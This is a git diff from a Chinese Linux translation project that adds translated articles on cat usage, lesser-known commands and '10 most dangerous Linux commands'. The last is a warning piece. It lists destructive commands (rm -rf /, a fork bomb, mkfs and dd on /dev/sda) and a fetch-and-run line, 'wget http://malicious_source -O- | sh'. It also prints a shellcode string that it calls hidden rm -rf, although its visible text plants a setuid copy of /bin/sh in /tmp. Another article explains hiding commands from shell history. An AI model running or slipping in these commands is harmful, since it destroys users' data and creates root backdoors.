diff --git a/.gitignore b/.gitignore index 0b9c8da876..fdb6fb3f02 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,3 @@ - +*.md~ members.md -*.html \ No newline at end of file +*.html diff --git a/README.md b/README.md index f8d9eff77e..02f5133c04 100644 --- a/README.md +++ b/README.md @@ -33,23 +33,32 @@ LCTT的组成 ------------------------------- 目前活跃成员有: -[wxy](https://github.com/wxy), -[carolinewuyan](https://github.com/carolinewuyan), -[vito-L](https://github.com/vito-L), -[tinyeyeser](https://github.com/tinyeyeser), -[woodboow](https://github.com/woodboow), -[DeadFire](https://github.com/DeadFire), -[flsf](https://github.com/flsf), -[theo-l](https://github.com/theo-l), -[jasminepeng](https://github.com/jasminepeng), -[boredivan](https://github.com/boredivan), -[Linchenguang](https://github.com/Linchenguang), -[gamelifedong](https://github.com/gamelifedong), -[Maclauring](https://github.com/Maclauring), -[lijhg](https://github.com/lijhg), -[liuaiping](https://github.com/liuaiping), -[younel0925](https://github.com/younel0925)。 -(更新于2013/10/3) +[wxy](https://github.com/wxy), +[carolinewuyan](https://github.com/carolinewuyan), +[tinyeyeser](https://github.com/tinyeyeser), +[vito-L](https://github.com/vito-L), +[DeadFire](https://github.com/DeadFire), +[flsf](https://github.com/flsf), +[jasminepeng](https://github.com/jasminepeng), +[luoxcat](https://github.com/Luoxcat), +[woodboow](https://github.com/woodboow), +[geekpi](https://github.com/geekpi), +[runningwater](https://github.com/runningwater), +[Linux-pdz](https://github.com/Linux-pdz), +[bazz2](https://github.com/bazz2), +[theo-l](https://github.com/theo-l), +[scusjs](https://github.com/scusjs), +[Linchenguang](https://github.com/Linchenguang), +[Vic020](https://github.com/Vic020), +[l3b2w1](https://github.com/l3b2w1), +[crowner](https://github.com/crowner), +[boredivan](https://github.com/boredivan), +[rogetfan](https://github.com/rogetfan), +[willqian](https://github.com/willqian), +[Maclauring](https://github.com/Maclauring), +[small-Wood](https://github.com/small-Wood), +[lijhg](https://github.com/lijhg), +(更新于2013/11/13) 谢谢大家的支持! @@ -62,3 +71,5 @@ LCTT的组成 * 2013/09/24 鉴于大家使用Github的水平不一,容易导致主仓库的一些错误,因此换成了常规的fork+PR的模式来进行翻译流程。 * 2013/10/11 根据对LCTT的贡献,划分了Core Translators组,最先的加入成员是vito-L和tinyeyeser。 * 2013/10/12 取消对LINUX.CN注册用户的依赖,在QQ群内、文章内都采用github的注册ID。 +* 2013/10/18 正式启动man翻译计划。 +* 2013/11/10 举行第一次北京线下聚会。 diff --git a/published/10 Most Dangerous Commands – You Should Never Execute on Linux.md b/published/10 Most Dangerous Commands – You Should Never Execute on Linux.md new file mode 100644 index 0000000000..44ea971e0c --- /dev/null +++ b/published/10 Most Dangerous Commands – You Should Never Execute on Linux.md @@ -0,0 +1,97 @@ +永远不要在Linux执行的10个最危险的命令 +================================================================================ + +Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。(译注:当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。) + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png) + +### 1. rm -rf 命令 ### + +**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。 + +- **rm** 命令在Linux下通常用来删除文件。 +- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”) +- **rm -f** 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。) +- **rm -rf /** : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。) +- rm -rf *: 强制删除当前目录的所有文件。 +- **rm -rf .** : 强制删除当前文件夹及其子文件夹。 + +从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 ‘**rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。) + +### 2. :(){:|:&};: 命令### + +这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。 + + :(){:|:&};: + + +哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~ + +### 3. 命令 > /dev/sda ### + +上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。 + +### 4. mv 文件夹 /dev/null ### + +这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。) + + # mv /home/user/* /dev/null + +上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。 + +### 5. wget http://malicious_source -O- | sh ### + +上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而**sh**会(无条件的)执行下载下来的脚本。 + +**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。) + +### 6. mkfs.ext3 /dev/sda ### + + +上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。) + +### 7. > file### + +上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。 + +### 8. \^foo\^bar ### + +这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。) + +### 9. dd if=/dev/random of=/dev/sda ### + +上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。) + +### 10. 隐藏命令 ### + +下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。 + +这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。 + + char esp[] __attribute__ ((section(“.text”))) /* e.s.p + release */ + = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ + “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ + “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ + “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ + “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ + “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ + “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ + “cp -p /bin/sh /tmp/.beyond; chmod 4755 + /tmp/.beyond;”; + +**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章**作者**和**Tecmint**概不负责。(译注:译者和转载网站也不负责~!) + +今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。 + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2284-1.html + diff --git a/published/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/published/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md new file mode 100644 index 0000000000..97faddd8ad --- /dev/null +++ b/published/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -0,0 +1,214 @@ +13个Cat命令管理(显示,排序,建立)文件实例 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) + +在Linux系统中,大多数配置文件、日志文件,甚至shell脚本都使用文本文件格式,因此,Linux系统存在着多种文本编辑器,但当你仅仅想要查看一下这些文件的内容时,可使用一个简单的命令-cat。 + +cat手册里这样描述: + +> cat命令读取文件内容,并输出到标准设备上面 + +cat是一条linux内置命令. 几乎所有linux发行版都内置(译注:或者说我从未听说过不内置cat命令的发行版)。接下来,让我们开始学习如何使用. + +### 1. 显示文件内容 ### + +最简单的方法是直接输入‘cat file_name’. + + # cat /etc/issue + + CentOS release 5.10 (Final) + Kernel \r on an \m + +### 2. 同时显示行号 ### + +当在读取内容很多的配置文件时,如果同时显示行号将会使操作变简单,加上-n参数可以实现. + + # cat -n /etc/ntp.conf + + 1 # Permit time synchronization our time resource but do not + 2 # permit the source to query or modify the service on this system + 3 restrict default kod nomodify notrap nopeer noquery + 4 restrict -6 default kod nomodify notrap nopeer noquery + 5 + 6 # Permit all access over the loopback interface. This could be + 7 # tightened as well, but to do so would effect some of the + 8 # administration functions + 9 restrict 127.0.0.1 + 10 restrict -6 ::1 + +### 3. 在非空格行首显示行号 ### + +类似于-n参数,-b也可以显示行号。区别在于-b只在非空行前显示行号。 + + #cat -b /etc/ntp.conf + + 1 # Permit time synchronization our time resource but do not + 2 # permit the source to query or modify the service on this system + 3 restrict default kod nomodify notrap nopeer noquery + 4 restrict -6 default kod nomodify notrap nopeer noquery + + 5 # Permit all access over the loopback interface. This could be + 6 # tightened as well, but to do so would effect some of the + 7 # administration functions + 8 restrict 127.0.0.1 + 9 restrict -6 ::1 + +### 4. 显示tab制表符 ### + +当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **\^I** . + + # cat -T /etc/hosts + + # Do not remove the following line, or various programs + # that require network functionality will fail. + 127.0.0.1^I^Ilocalhost.localdomain localhost + ::1^I^Ilocalhost6.localdomain6 localhost6 + +### 5. 显示换行符 ### + +-E参数在每行结尾使用 **$** 表示换行符。如下所示 : + + # cat -E /etc/hosts + + # Do not remove the following line, or various programs$ + # that require network functionality will fail.$ + 127.0.0.1 localhost.localdomain localhost$ + ::1 localhost6.localdomain6 localhost6$ + +### 6. 同时显示制表符及换行符 ### + +当你想要同时达到-T及-E的效果, 可使用-A参数. + + # cat -A /etc/hosts + + # Do not remove the following line, or various programs$ + # that require network functionality will fail.$ + 127.0.0.1^I^Ilocalhost.localdomain localhost$ + ::1^I^Ilocalhost6.localdomain6 localhost6$ + +### 7. 分屏显示 ### + +当文件内容显示超过了你的屏幕大小, 可结合cat命令与其它命令分屏显示。使用管道符 ( | )来连接。 + + # cat /proc/meminfo | less + + # cat /proc/meminfo | more + +在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚。而more仅能使用空格向下翻屏。 + +### 8. 同时查看2个文件中的内容 ### + +位于/root文件夹里有两个文件取名linux及desktop,每个文件含有以下内容 : + +**Linux** : ubuntu, centos, redhat, mint and slackware + +**Desktop** : gnome kde, xfce, enlightment, and cinnamon + +当你想同时查看两文件中的内容时,可按如下方法 : + + # cat /root/linux /root/desktop + + ubuntu + centos + redhat + mint + slackware + gnome + kde + xfce + enlightment + cinnamon + +### 9. 排序显示 ### + +类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort** ,通过管道符对内容进行排序显示。举例 : + + # cat /root/linux | sort + + centos + mint + redhat + slackware + Ubuntu + +### 10. 输入重定向 ### + +你也可将显示结果输出重定向到屏幕或另一个文件。 只需要使用 > 符号(大于号)即可输出生成到另一个文件。 + + # cat /root/linux > /root/linuxdistro + +以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件. + +### 11. 新建文件 ### + +Linux下有多种方法新建文件。其中使用cat就是方法之一. + + # cat > operating_system + + Unix + Linux + Windows + MacOS + +当你输入cat > operating_system,它会生成一个operating_system的文件。然后下面会显示空行。此时你可输入内容。比如我们输入Unix, Linux, Windows 和 MacOS, 输入完成后,按**Ctrl-D**存盘退出cat。此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件。 + +### 12.向文件中追加内容 ### + +当你使用两个 > 符时, 会将第一个文件中的内容追加到第二个文件的末尾。 举例 : + + # cat /root/linux >> /root/desktop + + # cat /root/desktop + +它会将 /root/linux的内容追加到/root/desktop文件的末尾。 + +第二个文件的内容将会变成这样: + + gnome + kde + xfce + enlightment + cinnamon + ubuntu + centos + redhat + mint + slackware + +### 13. 重定向输入 ### + +你可使用 **<**命令(小于号)将文件输入到cat中. + + # cat < /root/linux + +上面命令表示 /root/linux中的内容作为cat的输入。屏幕上显示如下 : + + ubuntu + centos + redhat + mint + slackware + +为了更清楚表示它的意义,我们使用以下命令 : + + # cat < /root/linux | sort > linux-sort + +此命令这样理解: **从/root/linux中读取内容,然后排序,将结果输出并生成linux-sort新文件** + +然后我们看看linux-sort中的内容 : + + centos + mint + redhat + slackware + ubuntu + +以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们. + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/13-cat-command-examples/ + +译者:[hongchuntang](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/10 Lesser Known Commands for Linux – Part 3.md b/published/201311/10 Lesser Known Commands for Linux – Part 3.md new file mode 100644 index 0000000000..70dba3d81b --- /dev/null +++ b/published/201311/10 Lesser Known Commands for Linux – Part 3.md @@ -0,0 +1,233 @@ +十个鲜为人知的 Linux 命令 - Part 3 +================================================================================ +![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Linux-Commands.png) + +我们继续10个鲜为人知Linux命令系列的第三部分。或许你已经知道了这些命令,那你无疑是一个有经验而喜欢探索的Linux用户。 + +### 22. \^foo\^bar 命令 ### + +在一个实例中运行修改后的最后一个命令。假设我需要运行一个命令‘**ls -l**‘来详细列出‘**Desktop**’目录下的内容。意外地,你打了‘**lls -l**‘。所以你需要重新打整个命令或者使用导航键编辑前面的命令。当你的命令很长时这个很痛苦。 + + avi@localhost:~/Desktop$ lls -l + bash: lls: command not found + + avi@localhost:~/Desktop$ ^lls^ls + + ls -l + total 7489440 + + drwxr-xr-x 2 avi avi 36864 Nov 13 2012 101MSDCF + -rw-r--r-- 1 avi avi 206833 Nov 5 15:27 1.jpg + -rw-r--r-- 1 avi avi 158951 Nov 5 15:27 2.jpg + -rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc + +**注意**:在上面的替换中我们使用“**^typo(被替换的)^original_command(原始命令)**”。警告!这个命令可能会非常危险!如果你有意或者无意地打错了系统命令或者任何像**rm -rf**那样的风险命令的话! + +### 23. > file.txt 命令 ### + +这个命令会刷新文件的内容而不需删除然后创建相同的文件。当我们需要反复输出,或者在相同的文件上记录日志时,这个命令就非常有用。 + +我有一个有很多文字的‘**test.txt**’文件在我的‘**Desktop**‘上。 + + avi@localhost:~/Desktop$ cat test.txt + + Linux + GNU + Debian + Fedora + kali + ubuntu + git + Linus + Torvalds + + + avi@localhost:~/Desktop$ > test.txt + avi@localhost:~/Desktop$ cat test.txt + +**注意**:再说一次,这个命令可能很危险!永远不要尝试刷新系统文件或者某篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题! + +### 24. at 命令 ### + +‘**at**‘命令与[cron 命令][1]相似也可用于安排一个任务或者在某个特定时刻执行命令。 + + avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 14:012 + +或 + + avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 2:12 PM + +**示例输出** + + -rw-r--r-- 1 avi avi 220492 Nov 1 13:49 Screenshot-1.png + -rw-r--r-- 1 root root 358 Oct 17 10:11 sources.list + -rw-r--r-- 1 avi avi 4695982080 Oct 10 20:29 squeeze.iso + .. + .. + -rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc + -rw-r--r-- 1 avi avi 96206 Nov 5 12:56 Untitled 1.odt + -rw-r--r-- 1 avi avi 9405 Nov 12 23:22 Untitled.png + +**注意**:echo “**ls -l**”的意思是,将这串命令(这里是 **ls -l**)输出在标准终端上。你可以用你需要或者选择的命令替代‘**ls -l**‘。 + + \> :重定向输出 + +**/dev/pts/0**: 这是输出设备和/或文件,输出到指定的地方,这里输出在终端(/dev/pts/0)。 + +就我而言,此时我的**tty**在**/dev/pts/0**。你可以用**tty**命令检查你的**tty**。 + + avi@localhost:~/Desktop$ tty + + /dev/pts/0 + +**注意**: ‘**at**‘会在系统时间匹配到特定时间时会尽快执行。 + +### 25. du -h –max-depth=1 命令 ### + +下面的命令以人类可读的形式输出当前目录的子目录的大小。 + + avi@localhost:/home/avi/Desktop# du -h --max-depth=1 + + 38M ./test + 1.1G ./shivji + 42M ./drupal + 6.9G ./101MSDCF + 16G . + +**注意**:上面的命令在[检查系统使用率][2]是非常有用。 + +### 26. expr 命令 ### + +‘**expr**‘不是那么鲜为人知的命令。这个命令在终端中计算简单的算数时非常有用。 + + avi@localhost:/home/avi/Desktop# expr 2 + 3 + 5 + + avi@localhost:/home/avi/Desktop# expr 6 – 3 + 3 + + avi@localhost:/home/avi/Desktop# expr 12 / 3 + 4 + + avi@localhost:/home/avi/Desktop# expr 2 \* 9 + 18 + +### 27. look 命令 ### + +在终端上从英文字典上查单词以防混淆。比如说,我记不清了是该拼成carrier还是carieer。 + +avi@localhost:/home/avi/Documents# look car + + Cara + Cara's + … + ... + carps + carpus + carpus's + carrel + carrel's + carrels + carriage + carriage's + carriages + carriageway + carriageway's + carried + carrier + carrier's + carriers + carries + … + ... + caryatids + +上面的命令会显示字典上所有以'car'开头的单词。我得到了我想找的。 + +### 28. yes 命令 ### + +另外一个命令在通常基础上并不会经常使用,但是在脚本语言和系统管理时非常有用。 + +这个命令会持续地输出给定的字符串,直到由你的中断命令打断。 + + avi@localhost:~/Desktop$ yes "Tecmint is one of the best site dedicated to Linux, how to" + + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + … + … + ... + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + +### 29. factor 命令 ### + +factor实际是一个源于数学的命令。这个命令会输出所有给定数字的因数。 + + avi@localhost:~/Desktop$ factor 22 + 22: 2 11 + + avi@localhost:~/Desktop$ factor 21 + 21: 3 7 + + avi@localhost:~/Desktop$ factor 11 + 11: 11 + +### 30. ping -i 60 -a IP_address ### + +我们都用ping命令检测服务器是否连通。我通常ping google,来检测我是否连接到了因特网。 + +当你等待或者持续盯着你的终端等待命令的回应或者等待服务器的连接时,有时是很气人的。 + +一旦服务器连通就有一个声音如何(译注:下面命令是等60秒PING一次)? + + avi@localhost:~/Desktop$ ping -i 60 -a www.google.com + + PING www.google.com (74.125.200.103) 56(84) bytes of data. + 64 bytes from www.google.com (74.125.200.103): icmp_req=1 ttl=44 time=105 ms + 64 bytes from 74.125.200.103: icmp_req=2 ttl=44 time=281 ms + +注意,当你发现命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘**sound preferences(声音选项)**‘ 中启用并确保勾选了‘**Enable window and window sound**‘。 + +### 31. tac 命令 ### + +这个命令很有趣,他会以倒序输出文本文件的内容。也就是从最后一行到第一行。 + +在home目录下,我的Documents目录下有一个35.txt文件。用[cat 命令][3]检查内容。 + + avi@localhost:~/Documents$ cat 35.txt + +**示例输出** + +> 1. Linux is built with certain powerful tools, which are unavailable in windows. +> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart. +> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages. + +现在用tac命令反转文件内容(译注:当然,我们知道cat反转过来就是tac)。 + + avi@localhost:~/Documents$ tac 35.txt + +**示例输出** + +> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages. +> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart. +> 1. Linux is built with certain powerful tools, which are unavailable in windows. + +现在结束了。如果你还知道其他一些Linux鲜为人知的命令,你可以在下面评论,那么我们你可以在以后的文章中包含进来。 + +不要忘了给我们有价值的评论。我很快会发另外有趣的文章。别走开继续关注 **Tecmint**。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/ +[2]:http://www.tecmint.com/check-linux-disk-usage-of-files-and-directories/ +[3]:http://www.tecmint.com/13-basic-cat-command-examples-in-linux/ \ No newline at end of file diff --git a/translated/10 Lesser Known Linux Commands – Part 2.md b/published/201311/10 Lesser Known Linux Commands – Part 2.md similarity index 53% rename from translated/10 Lesser Known Linux Commands – Part 2.md rename to published/201311/10 Lesser Known Linux Commands – Part 2.md index 4a18ca4ca4..682f1fe5e4 100644 --- a/translated/10 Lesser Known Linux Commands – Part 2.md +++ b/published/201311/10 Lesser Known Linux Commands – Part 2.md @@ -1,78 +1,55 @@ 十个鲜为人知的 Linux 命令 - Part 2 - ================================================================================ -继续上篇文章[11个鲜为人知的实用Linux命令][1](注:此文已经被其他网站翻译,链接:[http://www.searchsv.com.cn/showcontent_77595.htm][2]或者:[http://www.oschina.net/translate/11-lesser-known-useful-linux-commands][5])在本文中,我们将关注其他几个不为人知的Linux命令,有些在管理桌面和服务器方面被证明是非常有用的. +继续上篇文章[11个鲜为人知的实用Linux命令][1]在本文中,我们将关注其他几个不为人知的Linux命令,有些在管理桌面和服务器方面被证明是非常有用的。 ![](http://www.tecmint.com/wp-content/uploads/2013/10/10-Lesser-Known-Commands.png) -*10个鲜为人知的Linux命令* +###12. \<空格\> 命令### -###12. 命令### - -你在终端上键入的每个命令都会记录到**history**,也能用**history**命令重新调用. - -如何骗过[history 命令][2]呢?呵呵,你可以轻而易举地做到.在终端,只需要在键入命令之前输入一个或多个空格,这样你的命令就不会被记录了. - -让我们体验一下吧,先在终端尝试五个常见的 Linux 命令并在命令之前留个空(例如** ls, pwd, uname, echo “hi”** 和 **who**),然后检查这些命令是不是记录在历史中. +你在终端上键入的每个命令都会记录到**history**,也能用**history**命令重新调用。 +如何骗过[history 命令][2]呢?呵呵,你可以轻而易举地做到。在终端,只需要在键入命令之前输入一个或多个空格,这样你的命令就不会被记录了。 +让我们体验一下吧,先在终端尝试五个常见的 Linux 命令并在命令之前留个空(例如** ls, pwd, uname, echo “hi”** 和 **who**),然后检查这些命令是不是记录在历史中。 avi@localhost:~$ ls - avi@localhost:~$ pwd - avi@localhost:~$ uname - avi@localhost:~$ echo “hi” - avi@localhost:~$ who -现在运行 ‘**history**‘ 命令来查看上面已执行的命令是否已经被记录了. +现在运行 `history` 命令来查看上面已执行的命令是否已经被记录了. avi@localhost:~$ history - - - 40 cd /dev/ - 41 ls - 42 dd if=/dev/cdrom1 of=/home/avi/Desktop/squeeze.iso - 43 ping www.google.com - 44 su -你看到没有最后执行的命令没有被记录.我们也可以用另一个命令‘**cat | bash**‘(不包含引号)欺骗history,结果跟上面一样. +你看到没有最后执行的命令没有被记录。我们也可以用另一个命令`cat | bash`欺骗history,结果跟上面一样。 ### 13. stat 命令 ### -Linux中的**stat**命令用来显示文件或文件系统的状态信息.当用文件名作为参数时,**stat**将会展示文件的全部信息.状态信息包括文件 **大小, 块, 权限, 访问时间, 修改时间, 状态改变时间**等. +Linux中的**stat**命令用来显示文件或文件系统的状态信息。当用文件名作为参数时,**stat**将会展示文件的全部信息。状态信息包括文件 **大小、块、权限、访问时间、修改时间、状态改变时间**等。 avi@localhost:~$ stat 34.odt - File: `34.odt' - Size: 28822 Blocks: 64 IO Block: 4096 regular file - Device: 801h/2049d Inode: 5030293 Links: 1 - Access: (0644/-rw-r--r--) Uid: ( 1000/ avi) Gid: ( 1000/ avi) - Access: 2013-10-14 00:17:40.000000000 +0530 - Modify: 2013-10-01 15:20:17.000000000 +0530 - Change: 2013-10-01 15:20:17.000000000 +0530 -### 14. \. 和 \. ### +### 14. \ + . 和 \ + . ### -上面的组合键事实上不是一个命令,而是传递最后一个命令参数到提示符后的快捷键,已输入命令的倒序方式传递命令.按住 ‘**Alt**‘ 或 ‘**Esc**‘再按一下 ‘**.**‘. +上面的组合键事实上不是一个命令,而是传递最后一个命令参数到提示符后的快捷键,以输入命令的倒序方式传递命令。按住 Alt或Esc再按一下 “.”。 ### 15. pv 命令 ### -在**电影**里尤其是**好莱坞电影**你可能已经看见过模拟文本了,像是在实时输入文字.你可以用**pv**命令仿照任何类型模拟风的文本输出,包括流水线输出.**pv**可能没有在你的系统上安装,你需要用**apt**或**yum**获取安装包,然后安装**pv**到你的机器. +在**电影**里尤其是**好莱坞电影**你可能已经看见过模拟文本了,像是在实时输入文字,你可以用**pv**命令仿照任何类型模拟风的文本输出,包括流水线输出。**pv**可能没有在你的系统上安装,你需要用**apt**或**yum**获取安装包,然后安装**pv**到你的机器。 root@localhost:# echo "Tecmint [dot] com is the world's best website for qualitative Linux article" | pv -qL 20 @@ -82,147 +59,112 @@ Linux中的**stat**命令用来显示文件或文件系统的状态信息.当用 ### 16. mount | colum -t ### -上面的命令用一个很不错的格式与规范列出了所有挂载文件系统. +上面的命令用一个很不错的格式与规范列出了所有挂载文件系统。 avi@localhost:~$ mount | column -t **输出样式** /dev/sda1on / type ext3 (rw,errors=remount-ro) - tmpfson /lib/init/rw type tmpfs(rw,nosuid,mode=0755) - proc on /proc type proc (rw,noexec,nosuid,nodev) - sysfson /sys type sysfs(rw,noexec,nosuid,nodev) - udev on /dev type tmpfs(rw,mode=0755) - tmpfson /dev/shm type tmpfs(rw,nosuid,nodev) - devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) - fusectl on /sys/fs/fuse/connections type fusectl (rw) - binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,noexec,nosuid,nodev) - nfsd on /proc/fs/nfsd type nfsd (rw) ### 17. Ctr+l 命令 ### -在进行下一步之前,我先问一下,你是如何清理你的终端.呵呵!你会在提示符后键入 “**clear**”. 好的,用上面的命令执行清理终端都将成为过去.你只需要按下**Ctr+l**,看看它如何立即清理你的终端. +在进行下一步之前,我先问一下,你是如何清理你的终端?呵呵,你会在提示符后键入 “**clear**”。好的。用上面的命令执行清理终端都将成为过去。你只需要按下**Ctr+l**,看看它如何立即清理你的终端。 ### 18. curl 命令 ### -在**命令行**下如何检查你的**未读文件**.这个命令对于工作在无头服务器的人佷有用.t它会在运行期间再次要求输入密码,你不需要在上面一行硬编码你的密码,否则会有另一个安全风险. +在**命令行**下如何检查你的**未读邮件**?这个命令对于工作在没有图形界面的服务器的人佷有用。它会在运行期间再次要求输入密码,你不需要在上面一行硬编码你的密码,否则会有其它安全风险。 avi@localhost:~$ curl -u avishek1210@gmail.com --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print \t if //; print "$2\n" if /<(title|name)>(.*)<\/\1>/;' **输出样式** Enter host password for user 'avishek1210@gmail.com': - Gmail - Inbox for avishek1210@gmail.com - People offering cars in Delhi - Oct 26 - Quikr Alerts - another dependency question - Chris Bannister - Ralf Mardorf - Reco - Brian - François Patte - Curt - Siard - berenger.morel - Hi Avishek - Download your Free MBA Brochure Now... - Diya - ★Top Best Sellers Of The Week, Take Your Pick★ - 